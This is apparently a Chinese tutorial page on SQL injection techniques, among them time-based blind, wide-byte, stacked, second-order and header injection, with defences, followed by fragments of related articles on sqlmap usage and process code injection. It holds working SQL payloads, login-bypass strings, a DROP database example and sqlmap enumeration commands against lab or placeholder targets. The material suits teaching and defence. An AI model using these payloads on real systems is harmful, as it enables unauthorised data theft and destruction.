    利用前提:页面上没有显示位,也没有输出 SQL 语句执行错误信息。正确的 SQL 语句和错误的 SQL 语句返回页面都一样,但是加入 sleep(5)条件之后,页面的返回速度明显慢了 5 秒。
    优点:不需要显示位,不需要出错信息。
    缺点:速度慢,耗费大量时间

    sleep 函数判断页面响应时间               if(判断条件,为true时执行,为false时执行)

    我们可以构造下面的语句,判断条件是否成立。然后不断变换函数直到获取到我们想要的信息

    //判断是否存在延时注入
    http://127.0.0.1/sqli/Less-1/?id=1' and sleep(5)#
    
    // 判断数据库的第一个字符的ascii值是否大于100,如果大于100,页面立即响应,如果不大于,页面延时5秒响应
    http://127.0.0.1/sqli/Less-1/?id=1' and if(ascii(substring(database(),1,1))<100,1,sleep(5)) #

    六:REGEXP正则匹配

    正则表达式,又称规则表达式(Regular Expression,在代码中常简写为regex、regexp或RE),计算机科学的一个概念。正则表达式通常被用来检索、替换那些符合某个模式(规则)的文本

    查找name字段中含有a或者b的所有数据:        select name from admin where name regexp ' a|b ';
    查找name字段中含有ab,且ab前有字符的所有数据(.匹配任意字符): select name from admin where name regexp ' .ab ';
    查找name字段中含有at或bt或ct的所有数据:   select name from admin where name regexp ' [abc]t ';
    查找name字段中以a-z开头的所有数据:          select name from admin where name regexp ' ^[a-z] ';

    已知数据库名为 security,判断第一个表的表名是否以 a-z 中的字符开头,^[a-z]  -->  ^a ; 判断出了第一个表的第一个字符,接着判断第一个表的第二个字符 ^a[a-z] -->  ^ad ;  就这样,一步一步判断第一个表的表名  ^admin$ 。然后 limit 1,1 判断第二个表

    // 判断security数据库下的第一个表的是否以a-z的字母开头
    http://127.0.0.1/sqli/Less-1/?id=1' and  1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^[a-z]' limit 0,1) #

    参考文档:http://www.cnblogs.com/lcamry/articles/5717442.html

    七:宽字节注入

    宽字节注入是由于不同编码中中英文所占字符的不同所导致的。通常来说,在GBK编码当中,一个汉字占用2个字节。而在UTF-8编码中,一个汉字占用3个字节。在php中,我们可以通过输入 echo strlen("中") 来测试,当为GBK编码时,输入2,而为UTF-8编码时,输出3。除了GBK以外,所有的ANSI编码都是中文都是占用两个字节。

    相关文章:字符集与字符编码

    在说之前,我们先说一下php中对于sql注入的过滤,这里就不得不提到几个函数了。

    addslashes() :这个函数在预定义字符之前添加反斜杠 \ 。预定义字符:  单引号 ' 、双引号 " 、反斜杠 \ 、NULL。但是这个函数有一个特点就是虽然会添加反斜杠 \ 进行转义,但是 \ 并不会插入到数据库中。这个函数的功能和魔术引号完全相同,所以当打开了魔术引号时,不应使用这个函数。可以使用 get_magic_quotes_gpc() 来检测是否已经转义。

    mysql_real_escape_string() :这个函数用来转义sql语句中的特殊符号x00 、\n  、\r  、\  、‘  、“ 、x1a。

    魔术引号:当打开时,所有的单引号’ 、双引号" 、反斜杠\  和 NULL 字符都会被自动加上一个反斜线来进行转义,这个和 addslashes() 函数的作用完全相同。所以,如果魔术引号打开了,就不要使用 addslashes() 函数了。一共有三个魔术引号指令。

    • magic_quotes_gpc 影响到 HTTP 请求数据(GET,POST 和 COOKIE)。不能在运行时改变。在 PHP 中默认值为 on。 参见 get_magic_quotes_gpc()。如果 magic_quotes_gpc 关闭时返回 0,开启时返回 1。在 PHP 5.4.0 起将始终返回 0,因为这个魔术引号功能已经从 PHP 中移除了。
    • magic_quotes_runtime 如果打开的话,大部份从外部来源取得数据并返回的函数,包括从数据库和文本文件,所返回的数据都会被反斜线转义。该选项可在运行的时改变,在 PHP 中的默认值为 off。 参见 set_magic_quotes_runtime() 和 get_magic_quotes_runtime()。
    • magic_quotes_sybase (魔术引号开关)如果打开的话,将会使用单引号对单引号进行转义而非反斜线。此选项会完全覆盖 magic_quotes_gpc。如果同时打开两个选项的话,单引号将会被转义成 ''。而双引号、反斜线 和 NULL 字符将不会进行转义。 

    可以在 php.ini 中看这几个参数是否开启

    我们这里搭了一个平台来测试,这里得感谢其他大佬的源码。

    测试代码及数据库:http://pan.baidu.com/s/1eQmUArw 提取密码:75tu

    首先,我们来看一下1的源码,这对用户输入的id用 addslashes() 函数进行了处理,而且是当成字符串处理。

    我们输入  http://127.0.0.1/1/1/?id=1'

    这里addslashes函数把我们的 ’ 进行了转义,转义成了 \'。

    所以,我们要想绕过这个转义,就得把 \' 的 \ 给去掉。那么怎么去掉呢。

    1. 在转义之后,想办法让\前面再加一个\,或者偶数个\即可,这样就变成了\\' ,\ 被转义了,而 ‘ 逃出了限制。
    2. 在转义之后,想办法把 \ 弄没有,只留下一个 ' 。

    我们这里利用第2中方法,宽字节注入,这里利用的是MySQL的一个特性。MySQL在使用GBK编码的时候,会认为两个字符是一个汉字,前提是前一个字符的 ASCII 值大于128,才会认为是汉字。

    当我们输入如下语句的时候,看看会发生什么。

    127.0.0.1/1/1/?id=1%df'

    我们发现页面报错了,而且报错的那里是  '1運''  。我们只输入了 1%df ' ,最后变成了 1運 ' 。所以是mysql把我们输入的%df和反斜杠\ 合成了一起,当成了 運 来处理。而我们输入的单引号' 逃了出来,所以发生了报错。我们现在来仔细梳理一下思路。 我们输入了 1%df ’ ,而因为使用了addslashes()函数处理 ',所以最后变成了 1%df\' , 又因为会进行URL编码,所以最后变成了 1%df%5c%27 。而MySQL正是把%df%5c当成了汉字 運 来处理,所以最后 %27 也就是单引号逃脱了出来,这样就发生了报错。而这里我们不仅只是能输入%df ,我们只要输入的数据的ASCII码大于128就可以。因为在MySQL中只有当前一个字符的ASCII大于128,才会认为两个字符是一个汉字。所以只要我们输入的数据大于等于 %81 就可以使 ' 逃脱出来了。

    知道怎么绕过,我们就可以进行注入获得我们想要的信息了!

    既然GBK编码可以,那么GB2312可不可以呢?怀着这样的好奇,我们把数据库编码改成了GB2312,再次进行了测试。我们发现,当我们再次利用输入 1%df' 的时候,页面竟然不报错,那么这是为什么呢?

    这要归结于GB2312编码的取值范围。它编码的取值范围高位是0XA1~0XF7,低位是0XA1~0xFE,而 \ 是0x5C ,不在低位范围中。所以0x5c根本不是GB2312中的编码。所以,%5c 自然不会被当成中文的一部分给吃掉了。

    所以,通过这个我们可以得到结论,在所有的编码当中,只要低位范围中含有 0x5C的编码,就可以进行宽字符注入。

    发现了这个宽字符注入,于是很多程序猿把 addslashes() 函数换成了 mysql_real_escape_string() 函数,想用此来抵御宽字节的注入。因为php官方文档说了这个函数会考虑到连接的当前字符集。

    那么,使用了这个函数是否就可以抵御宽字符注入呢。我们测试一下,我们输入下面的语句

    http://127.0.0.1/1/3/?id=1%df'

    发现还是能进行宽字节的注入。那么这是为什么呢?原因就是,你没有指定php连接mysql的字符集。我们需要在执行SQL语句之前调用 mysql_set_charset 函数,并且设置当前连接的字符集为gbk。

    这样当我们再次输入的时候,就不能进行宽字节注入了!

    宽字节注入的修复

    在调用 mysql_real_escape_string() 函数之前,先设置连接所使用的字符集为GBK ,mysql_set_charset=('gbk',$conn) 。这个方法是可行的。但是还是有很多网站是使用的addslashes()函数进行过滤,我们不可能把所有的addslashes()函数都换成mysql_real_escape_string()。

    所以防止宽字节注入的另一个方法就是将 character_set_client 设置为binary(二进制)。需要在所有的sql语句前指定连接的形式是binary二进制:

    mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary", $conn); 

    当我们的MySQL收到客户端的请求数据后,会认为他的编码是character_set_client所对应的编码,也就是二进制。然后再将它转换成character_set_connection所对应的编码。然后进入具体表和字段后,再转换成字段对应的编码。当查询结果产生后,会从表和字段的编码转换成character_set_results所对应的编码,返回给客户端。所以,当我们将character_set_client编码设置成了binary,就不存在宽字节注入的问题了,所有的数据都是以二进制的形式传递。

    八:堆叠注入

    在SQL中,分号;是用来表示一条sql语句的结束。试想一下我们在 ; 结束后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别呢?区别就在于union 或者union all执行的语句类型是有限的,只可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:root';DROP database  user;服务器端生成的sql语句为:Select * from user where name='root';DROP database user;当执行查询后,第一条显示查询信息,第二条则将整个user数据库删除。

    参考:SQL注入-堆叠注入(堆查询注入)

              SQL Injection8(堆叠注入)——强网杯2019随便注

    九:二次注入

    二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。

    1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。
    2. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
    3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。
    4. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。
    5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功

    我们访问 http://127.0.0.1/sqli/Less-24/index.php

    是一个登陆页面,我们没有账号,所以选择新建一个用户

    我们新建的用户名为:admin'#   密码为:123456

    查看数据库,可以看到,我们的数据插入进去了

    我们使用新建的用户名和密码登录

    登录成功了,跳转到了后台页面修改密码页面。

    我们修改用户名为:admin'#   密码为:aaaaaaaaa

    提示密码更新成功!

    我们查看数据库,发现用户 admin'# 的密码并没有修改,而且 admin 用户的密码修改为了  aaaaaaaaaa

    那么,为什么会这样呢?我们查看修改密码页面源代码,发现这里存在明显的SQL注入漏洞

    当我们提交用户名  admin'# 修改密码为 aaaaaaaaaa 的时候,这条SQL语句就变成了下面的语句了。

    #把后面的都给注释了,所以就是修改了admin用户的密码为 aaaaaaaaaa

    $sql = "UPDATE users SET PASSWORD='aaaaaaaaaa' where username='admin'#' and password='$curr_pass' ";

    十:User-Agent注入

    我们访问 http://127.0.0.1/sqli/Less-18/ ,页面显示一个登陆框和我们的ip信息

    当我们输入正确的用户名和密码之后登陆之后,页面多显示了 浏览器的User-Agent

    抓包,修改其User-Agent为

    'and extractvalue(1,concat(0x7e,database(),0x7e))and '1'='1  #我们可以将 database()修改为任何的函数

    可以看到,页面将当前的数据库显示出来了

    十一:Cookie注入

    如今绝大部门开发人员在开发过程中会对用户传入的参数进行适当的过滤,但是很多时候,由于个人对安全技术了解的不同,有些开发人员只会对get,post这种方式提交的数据进行参数过滤。

    但我们知道,很多时候,提交数据并非仅仅只有get / post这两种方式,还有一种经常被用到的方式:request("xxx"),即request方法。通过这种方法一样可以从用户提交的参数中获取参数值,这就造成了cookie注入的最基本条件:使用了request方法,但是只对用户get / post提交的数据进行过滤。

    我们这里有一个连接:www.xx.com/search.asp?id=1 

    我们访问:www.xx.com/srarch.asp 发现不能访问,说缺少id参数。

    我们将id=1放在cookie中再次访问,查看能否访问,如果能访问,则说明id参数可以通过cookie提交。

    那么,如果后端没有对cookie中传入的数据进行过滤,那么,这个网站就有可能存在cookie注入了!

    十二:过滤绕过

    传送门:SQL注入过滤的绕过

    十三:传说中的万能密码 

    sql="select*from test where username=' XX '  and password=' XX '  ";

    • admin' or '1'='1                  XX         //万能密码(已知用户名)
    • XX                                  'or'1'='1     //万能密码(不需要知道用户名)
    • 'or '1'='1'#                          XX         //万能密码(不知道用户名)

    SQL注入的预防

    既然SQL注入的危害那么大,那么我们要如何预防SQL注入呢?

    (1)预编译(PreparedStatement)(JSP)

    可以采用预编译语句集,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。

     String sql = "select id, no from user where id=?";
     PreparedStatement ps = conn.prepareStatement(sql);
     ps.setInt(1, id);
     ps.executeQuery();

    如上所示,就是典型的采用 SQL语句预编译来防止SQL注入 。为什么这样就可以防止SQL注入呢?

    其原因就是:采用了PreparedStatement预编译,就会将SQL语句:"select id, no from user where id=?" 预先编译好,也就是SQL引擎会预先进行语法分析,产生语法树,生成执行计划,也就是说,后面你输入的参数,无论你输入的是什么,都不会影响该SQL语句的语法结构了,因为语法分析已经完成了,而语法分析主要是分析SQL命令,比如 select、from 、where 、and、 or 、order by 等等。所以即使你后面输入了这些SQL命令,也不会被当成SQL命令来执行了,因为这些SQL命令的执行, 必须先通过语法分析,生成执行计划,既然语法分析已经完成,已经预编译过了,那么后面输入的参数,是绝对不可能作为SQL命令来执行的,只会被当做字符串字面值参数。所以SQL语句预编译可以有效防御SQL注入。

    原理:SQL注入只对SQL语句的编译过程有破坏作用,而PreparedStatement已经预编译好了,执行阶段只是把输入串作为数据处理。而不再对SQL语句进行解析。因此也就避免了sql注入问题。

    (2)PDO(PHP)

    首先简单介绍一下什么是PDO。PDO是PHP Data Objects(php数据对象)的缩写。是在php5.1版本之后开始支持PDO。你可以把PDO看做是php提供的一个类。它提供了一组数据库抽象层API,使得编写php代码不再关心具体要连接的数据库类型。你既可以用使用PDO连接mysql,也可以用它连接oracle。并且PDO很好的解决了sql注入问题。

    PDO对于解决SQL注入的原理也是基于预编译。

    $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); 
    $data->bindParam( ':id', $id, PDO::PARAM_INT ); 
    $data->execute();

    实例化PDO对象之后,首先是对请求SQL语句做预编译处理。在这里,我们使用了占位符的方式,将该SQL传入prepare函数后,预处理函数就会得到本次查询语句的SQL模板类,并将这个模板类返回,模板可以防止传那些危险变量改变本身查询语句的语义。然后使用 bindParam()函数对用户输入的数据和参数id进行绑定,最后再执行,

    (3)使用正则表达式过滤

    虽然预编译可以有效预防SQL注,但是某些特定场景下,可能需要拼接用户输入的数据。这种情况下,我们就需要对用户输入的数据进行严格的检查,使用正则表达式对危险字符串进行过滤,这种方法是基于黑名单的过滤,以至于黑客想尽一切办法进行绕过注入。基于正则表达式的过滤方法还是不安全的,因为还存在绕过的风险。

    对用户输入的特殊字符进行严格过滤,如  ’、”、<、>、/、*、;、+、-、&、|、(、)、and、or、select、union

    (4) 其他

    • Web 应用中用于连接数据库的用户与数据库的系统管理员用户的权限有严格的区分(如不能执行 drop 等),并设置 Web 应用中用于连接数据库的用户不允许操作其他数据库
    • 设置 Web 应用中用于连接数据库的用户对 Web 目录不允许有写权限。
    • 严格限定参数类型和格式,明确参数检验的边界,必须在服务端正式处理之前对提交的数据的合法性进行检查
    • 使用 Web 应用防火墙

    相关文章: 科普基础 | 这可能是最全的SQL注入总结,不来看看吗

                       Sqlmap的使用

                       Sqli 注入点解析

                       DVWA之SQL注入考点小结

                       常见的SQL语句

                       Access数据库及注入方法

                       SQLServer数据库及注入方法

                       SQL注入知识库

    展开全文
  • //构造一条delete from 表,待注入的sql预编译语句 String methodName="deleteAll";//方法名 -->这个就是在UserMapper中需要添加的方法名 SqlSource sqlSource = languageDriver.createSqlSource...
  • Autofac Autofac.Extensions.DependencyInjection
  • 注入漏洞-sql注入

    万次阅读 多人点赞 2019-04-30 09:33:46
    注入漏洞 注入漏洞 1 SQL注入 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行指定的SQL语句。具体来说,它是利用现有应用程序,将SQL语句注入到...

     注入漏洞

    注入漏洞

    1 SQL注入

       所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行指定的SQL语句。具体来说,它是利用现有应用程序,将SQL语句注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入SQL语句得到一个存在安全漏洞的网站上的数据,而不是按照设计者意图去执行SQL语句。

    1.1 SQL注入的概念

    (1)SQL注入漏洞原理

       SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

    根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。基于此,SQL注入的产生原因通常表现在以下几方面:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。

     

    (2)SQL注入漏洞对于数据安全的影响

    • 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
    • 网页篡改:通过操作数据库对特定网页进行篡改。
    • 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
    • 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
    • 服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
    • 破坏硬盘数据,瘫痪全系统。

    一些类型的数据库系统能够让SQL指令操作文件系统,这使得SQL注入的危害被进一步放大。

     

    (3)SQL注入漏洞的方法

     

    1.数字注入

       在浏览器地址栏输入:learn.me/sql/article.php?id=1,这是一个get型接口,发送这个请求相当于调用一个查询语句:

    $sql = "SELECT * FROM article WHERE id =",$id

       正常情况下,应该返回一个id=1的文章信息。那么,如果在浏览器地址栏输入:learn.me/sql/article.php?id=-1 OR 1 =1,这就是一个SQL注入攻击了,可能会返回所有文章的相关信息。为什么会这样呢?

       这是因为,id = -1永远是false,1=1永远是true,所有整个where语句永远是ture,所以where条件相当于没有加where条件,那么查询的结果相当于整张表的内容

    2.字符串注入

       有这样一个用户登录场景:登录界面包括用户名和密码输入框,以及提交按钮。输入用户名和密码,提交。

       这是一个post请求,登录时调用接口learn.me/sql/login.html,首先连接数据库,然后后台对post请求参数中携带的用户名、密码进行参数校验,即sql的查询过程。假设正确的用户名和密码为user和pwd123,输入正确的用户名和密码、提交,相当于调用了以下的SQL语句:

     

    SELECT * FROM user WHERE username = 'user' ADN password = 'pwd123'

     

           由于用户名和密码都是字符串,SQL注入方法即把参数携带的数据变成mysql中注释的字符串。mysql中有2种注释的方法:

    1)'#':'#'后所有的字符串都会被当成注释来处理

      用户名输入:user'#(单引号闭合user左边的单引号),密码随意输入,如:111,然后点击提交按钮。等价于SQL语句:

     

    SELECT * FROM user WHERE username = 'user'#'ADN password = '111'

     

       '#'后面都被注释掉了,相当于:

     

    SELECT * FROM user WHERE username = 'user' 

    2)'-- ' (--后面有个空格):'-- '后面的字符串都会被当成注释来处理

       用户名输入:user'-- (注意--后面有个空格,单引号闭合user左边的单引号),密码随意输入,如:111,然后点击提交按钮。等价于SQL语句:

    SELECT * FROM user WHERE username = 'user'-- 'AND password = '111'

       SELECT * FROM user WHERE username = 'user'-- 'AND password = '1111'

     

       '-- '后面都被注释掉了,相当于:

     

    SELECT * FROM user WHERE username = 'user'

       因此,以上两种情况可能输入一个错误的密码或者不输入密码就可登录用户名为'user'的账号,这是十分危险的事情。

     

     

     

    1.2 SQL注入的安全防护

    (1)掌握SQL注入漏洞修复和防范方法

    此内容为转

    1、 普通用户与系统管理员用户的权限要有严格的区分。
      如果一个普通用户在使用查询语句中嵌入另一个Drop Table语句,那么是否允许执行呢?由于Drop语句关系到数据库的基本对象,故要操作这个语句用户必须有相关的权限。在权限设计中,对于终端用户,即应用软件的使用者,没有必要给他们数据库对象的建立、删除等权限。那么即使在他们使用SQL语句中带有嵌入式的恶意代码,由于其用户权限的限制,这些代码也将无法被执行。故应用程序在设计的时候,最好把系统管理员的用户与普通用户区分开来。如此可以最大限度的减少注入式攻击对数据库带来的危害。
    2、 强迫使用参数化语句。
      如果在编写SQL语句的时候,用户输入的变量不是直接嵌入到SQL语句。而是通过参数来传递这个变量的话,那么就可以有效的防治SQL注入式攻击。也就是说,用户的输入绝对不能够直接被嵌入到SQL语句中。与此相反,用户的输入的内容必须进行过滤,或者使用参数化的语句来传递用户输入的变量。参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。采用这种措施,可以杜绝大部分的SQL注入式攻击。不过可惜的是,现在支持参数化语句的数据库引擎并不多。不过数据库工程师在开发产品的时候要尽量采用参数化语句。

    3、 加强对用户输入的验证。

      总体来说,防治SQL注入式攻击可以采用两种方法,一是加强对用户输入内容的检查与验证;二是强迫使用参数化语句来传递用户输入的内容。在SQLServer数据库中,有比较多的用户输入内容验证工具,可以帮助管理员来对付SQL注入式攻击。测试字符串变量的内容,只接受所需的值。拒绝包含二进制数据、转义序列和注释字符的输入内容。这有助于防止脚本注入,防止某些缓冲区溢出攻击。测试用户输入内容的大小和数据类型,强制执行适当的限制与转换。这即有助于防止有意造成的缓冲区溢出,对于防治注入式攻击有比较明显的效果。
      如可以使用存储过程来验证用户的输入。利用存储过程可以实现对用户输入变量的过滤,如拒绝一些特殊的符号。如以上那个恶意代码中,只要存储过程把那个分号过滤掉,那么这个恶意代码也就没有用武之地了。在执行SQL语句之前,可以通过数据库的存储过程,来拒绝接纳一些特殊的符号。在不影响数据库应用的前提下,应该让数据库拒绝包含以下字符的输入。如分号分隔符,它是SQL注入式攻击的主要帮凶。如注释分隔符。注释只有在数据设计的时候用的到。一般用户的查询语句中没有必要注释的内容,故可以直接把他拒绝掉,通常情况下这么做不会发生意外损失。把以上这些特殊符号拒绝掉,那么即使在SQL语句中嵌入了恶意代码,他们也将毫无作为。
      故始终通过测试类型、长度、格式和范围来验证用户输入,过滤用户输入的内容。这是防止SQL注入式攻击的常见并且行之有效的措施。

    4、 多多使用SQL Server数据库自带的安全参数。
      为了减少注入式攻击对于SQL Server数据库的不良影响,在SQLServer数据库专门设计了相对安全的SQL参数。在数据库设计过程中,工程师要尽量采用这些参数来杜绝恶意的SQL注入式攻击。
      如在SQL Server数据库中提供了Parameters集合。这个集合提供了类型检查和长度验证的功能。如果管理员采用了Parameters这个集合的话,则用户输入的内容将被视为字符值而不是可执行代码。即使用户输入的内容中含有可执行代码,则数据库也会过滤掉。因为此时数据库只把它当作普通的字符来处理。使用Parameters集合的另外一个优点是可以强制执行类型和长度检查,范围以外的值将触发异常。如果用户输入的值不符合指定的类型与长度约束,就会发生异常,并报告给管理员。如上面这个案例中,如果员工编号定义的数据类型为字符串型,长度为10个字符。而用户输入的内容虽然也是字符类型的数据,但是其长度达到了20个字符。则此时就会引发异常,因为用户输入的内容长度超过了数据库字段长度的限制。
    5、 多层环境如何防治SQL注入式攻击?
      在多层应用环境中,用户输入的所有数据都应该在验证之后才能被允许进入到可信区域。未通过验证过程的数据应被数据库拒绝,并向上一层返回一个错误信息。实现多层验证。对无目的的恶意用户采取的预防措施,对坚定的攻击者可能无效。更好的做法是在用户界面和所有跨信任边界的后续点上验证输入。如在客户端应用程序中验证数据可以防止简单的脚本注入。但是,如果下一层认为其输入已通过验证,则任何可以绕过客户端的恶意用户就可以不受限制地访问系统。故对于多层应用环境,在防止注入式攻击的时候,需要各层一起努力,在客户端与数据库端都要采用相应的措施来防治SQL语句的注入式攻击。
    6、 必要的情况下使用专业的漏洞扫描工具来寻找可能被攻击的点。
      使用专业的漏洞扫描工具,可以帮助管理员来寻找可能被SQL注入式攻击的点。不过漏洞扫描工具只能发现攻击点,而不能够主动起到防御SQL注入攻击的作用。当然这个工具也经常被攻击者拿来使用。如攻击者可以利用这个工具自动搜索攻击目标并实施攻击。为此在必要的情况下,企业应当投资于一些专业的漏洞扫描工具。一个完善的漏洞扫描程序不同于网络扫描程序,它专门查找数据库中的SQL注入式漏洞。最新的漏洞扫描程序可以查找最新发现的漏洞。所以凭借专业的工具,可以帮助管理员发现SQL注入式漏洞,并提醒管理员采取积极的措施来预防SQL注入式攻击。如果攻击者能够发现的SQL注入式漏洞数据库管理员都发现了并采取了积极的措施堵住漏洞,那么攻击者也就无从下手了。

    7、设置陷阱账号:

    设置两个帐号,一个是普通管理员帐号,一个是防注入的帐号。将防注入的账号设置的很象管理员,如 admin,以制造假象吸引软件的检测,而密码是大于千字以上的中文字符,迫使软件分析账号的时候进入全负荷状态甚至资源耗尽而死机。

    (2)掌握一些SQL注入漏洞检测工具的使用方法

          Sqlmap 使用方法:

    --is-dba 当前用户权限(是否为root权限,mssql下最高权限为sa)
    --dbs 所有数据库
    --current-db 网站当前数据库
    --users 所有数据库用户
    --current-user 当前数据库用户
    --random-agent 构造随机user-agent
    --passwords 数据库密码
    --proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
    --time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
    --threads=  使用多少线程
    --batch    选择默认选项

    百度很多sqlmap教程,此处举例:

    sqlmap  -u "http://xxx/?id=1" (-u参数指定目标注入地址)检测出存在可利用漏洞

    sqlmap -u "http://xxx/?id=1"  --dbs   列取数据库的所有库

    sqlmap -u "http://xxx/?id=1" --current-db     查询出当前库

    sqlmap -u "http://xxx/?id=1" -D xxx --tables  查询某个库的所有表

    sqlmap -u "http://xxx/?id=1" -D xxx -T xxx --columns(-D dbname指定数据库名称、-T tablename:指定某数据表的名称、--columns:列出指定表上的所有列)

    展开全文
  • 代码注入

    千次阅读 2020-11-01 14:00:33
    其基本原理和DLL注入的原理一样, 目前已经有很多工具可以直接实现代码注入或DLL注入了, 本文只是学习一下原理… 思路 思路很简单, 基本就两大步: OpenProcess打开需要注入的程序, 获取句柄; 通过CreateRemoteThread...

    简介

    代码注入在分析程序或制作外挂外挂时是非常爱使用的一种手段, 通常用于调用程序功能, 比如调用程序中的call;其基本原理和DLL注入的原理一样, 目前已经有很多工具可以直接实现代码注入或DLL注入了, 本文只是学习一下原理…

    思路

    思路很简单, 基本就两大步:

    1. OpenProcess打开需要注入的程序, 获取句柄;
    2. 通过CreateRemoteThread函数将我们需要注入的代码以新的线程的方式进行运行, 到达注入的效果;

    通过PEB获取模块基址

    通常我们注入的代码一般都是汇编, 如果注入是很复杂的代码, 我们通常将代码写到DLL中, 直接用DLL注入了;
    所以为了使我们的汇编根据有健壮性, 这里说一下如何用汇编获取程序模块的基地址, 注入的代码就相当于是写shellcode;

    PEB

    fs:[0x30]地址处保存着一个指针, 指向了PEB结构, 结构基本如下:

    typedef struct _PEB { // Size: 0x1D8
    /*000*/ UCHAR InheritedAddressSpace;
    /*001*/ UCHAR ReadImageFileExecOptions;
    /*002*/ UCHAR BeingDebugged;
    /*003*/ UCHAR SpareBool; // Allocation size
    /*004*/ HANDLE Mutant;
    /*008*/ HINSTANCE ImageBaseAddress; // Instance
    /*00C*/ VOID *DllList;  //_PEB_LDR_DATA        ;进程加载的模块链表
    /*010*/ PPROCESS_PARAMETERS *ProcessParameters;
    /*014*/ ULONG SubSystemData;
    /*018*/ HANDLE DefaultHeap;
    /*01C*/ KSPIN_LOCK FastPebLock;
    /*020*/ ULONG FastPebLockRoutine;
    /*024*/ ULONG FastPebUnlockRoutine;
    /*028*/ ULONG EnvironmentUpdateCount;
    /*02C*/ ULONG KernelCallbackTable;
    /*030*/ LARGE_INTEGER SystemReserved;
    /*038*/ ULONG FreeList;
    /*03C*/ ULONG TlsExpansionCounter;
    /*040*/ ULONG TlsBitmap;
    /*044*/ LARGE_INTEGER TlsBitmapBits;
    /*04C*/ ULONG ReadOnlySharedMemoryBase;
    /*050*/ ULONG ReadOnlySharedMemoryHeap;
    /*054*/ ULONG ReadOnlyStaticServerData;
    /*058*/ ULONG AnsiCodePageData;
    /*05C*/ ULONG OemCodePageData;
    /*060*/ ULONG UnicodeCaseTableData;
    /*064*/ ULONG NumberOfProcessors;
    /*068*/ LARGE_INTEGER NtGlobalFlag;
    /*070*/ LARGE_INTEGER CriticalSectionTimeout;
    /*078*/ ULONG HeapSegmentReserve;
    /*07C*/ ULONG HeapSegmentCommit;
    /*080*/ ULONG HeapDeCommitTotalFreeThreshold;
    /*084*/ ULONG HeapDeCommitFreeBlockThreshold;
    /*088*/ ULONG NumberOfHeaps;
    /*08C*/ ULONG MaximumNumberOfHeaps;
    /*090*/ ULONG ProcessHeaps;
    /*094*/ ULONG GdiSharedHandleTable;
    /*098*/ ULONG ProcessStarterHelper;
    /*09C*/ ULONG GdiDCAttributeList;
    /*0A0*/ KSPIN_LOCK LoaderLock;
    /*0A4*/ ULONG OSMajorVersion;
    /*0A8*/ ULONG OSMinorVersion;
    /*0AC*/ USHORT OSBuildNumber;
    /*0AE*/ USHORT OSCSDVersion;
    /*0B0*/ ULONG OSPlatformId;
    /*0B4*/ ULONG ImageSubsystem;
    /*0B8*/ ULONG ImageSubsystemMajorVersion;
    /*0BC*/ ULONG ImageSubsystemMinorVersion;
    /*0C0*/ ULONG ImageProcessAffinityMask;
    /*0C4*/ ULONG GdiHandleBuffer[0x22];
    /*14C*/ ULONG PostProcessInitRoutine;
    /*150*/ ULONG TlsExpansionBitmap;
    /*154*/ UCHAR TlsExpansionBitmapBits[0x80];
    /*1D4*/ ULONG SessionId;
    } PEB, *PPEB;
    

    PEB结构的偏移0xc处保存着另外一个指针ldr,该指针为PEB_LDR_DATA:

    PEB_LDR_DATA

    typedef struct _PEB_LDR_DATA
    {
     ULONG Length; // +0x00
     BOOLEAN Initialized; // +0x04
     PVOID SsHandle; // +0x08
     LIST_ENTRY InLoadOrderModuleList; // +0x0c
     LIST_ENTRY InMemoryOrderModuleList; // +0x14
     LIST_ENTRY InInitializationOrderModuleList;// +0x1c
    } PEB_LDR_DATA,*PPEB_LDR_DATA; // +0x24
    

    PEB_LDR_DATA结构的后三个成员是指向LDR_MODULE链表结构中相应三条双向链表头的指针, 分别是按照加载顺序, 在内存中地址顺序和初始化顺序排列的模块信息结构的指针, 其中LDR_MODULE结构就是_LDR_DATA_TABLE_ENTRY结构; 而链表的第一个就保存了当前程序的基地址;

    _LDR_DATA_TABLE_ENTRY结构

    typedef struct _LDR_DATA_TABLE_ENTRY  
    {  
        LIST_ENTRY InLoadOrderLinks;  // +0x00
        LIST_ENTRY InMemoryOrderLinks;  // +0x08
